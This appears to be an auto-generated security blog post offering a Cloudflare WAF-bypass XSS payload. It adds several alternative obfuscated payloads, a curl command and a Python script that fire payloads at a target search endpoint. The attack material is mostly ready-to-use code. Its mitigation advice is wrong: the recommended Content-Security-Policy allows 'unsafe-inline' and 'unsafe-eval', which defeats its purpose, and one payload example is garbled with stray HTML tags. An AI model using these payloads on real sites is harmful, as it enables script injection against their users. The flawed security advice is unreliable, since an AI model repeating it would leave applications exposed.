Cloudflare Bypass XSS Payload: Advanced Exploitation Techniques

By HackMoN Ai / April 21, 2025

XSS Payload:

<select><noembed></select><script x='a@b'a>y='a@b'//a@b%0a\u0061lert(1)</script x>

You Should Know:

1. Understanding the Payload:

The payload leverages HTML tag confusion (<select><noembed>) and JavaScript obfuscation (\u0061lert = alert) to bypass Cloudflare’s XSS filters.
The `//a@b%0a` acts as a line break to evade detection.

2. Testing the Payload:

Use a vulnerable web app or a testing environment like XSS Hunter or Burp Suite Collaborator.

Verify if Cloudflare’s WAF blocks the payload by sending it via:

curl -X POST "https://target.com/search" -d "q=<select><noembed></select><script>alert(1)</script>"

3. Alternative Bypass Techniques:

Unicode Encoding:
```
<img src=x onerror=\u0061lert(1)>
```
HTML Entities:
```
</li>
</ul>

<

svg/onload=alert(1)>
```
– JavaScript Pseudo-Protocol:
```
javascript:eval('al'+'ert(1)')
```
4. Automating Detection with Python:
```
import requests

payloads = [
"<select><noembed></select><script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"javascript:eval('al'+'ert(1)')"
]

for payload in payloads:
response = requests.post("https://target.com/search", data={"q": payload})
if "alert(1)" in response.text:
print(f"Vulnerable to: {payload}")
```
5. Mitigation for Developers:
- Use Content Security Policy (CSP):
```
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
```
- Sanitize inputs using DOMPurify (JavaScript):
```
const clean = DOMPurify.sanitize(user_input);
```
What Undercode Say:

Cloudflare’s WAF is robust but not foolproof. Advanced obfuscation techniques, such as Unicode encoding and HTML tag manipulation, can bypass filters. Always:
– Test payloads in staged environments.
– Use multiple encoding methods (\u0061, %0a).
– Monitor security advisories for new bypass techniques.

Expected Output:
- A successful XSS execution (alert(1)).
- Detection via logging or automated scanners.
Relevant Course Links:
References:

Reported By: Zlatanh Cloudflare – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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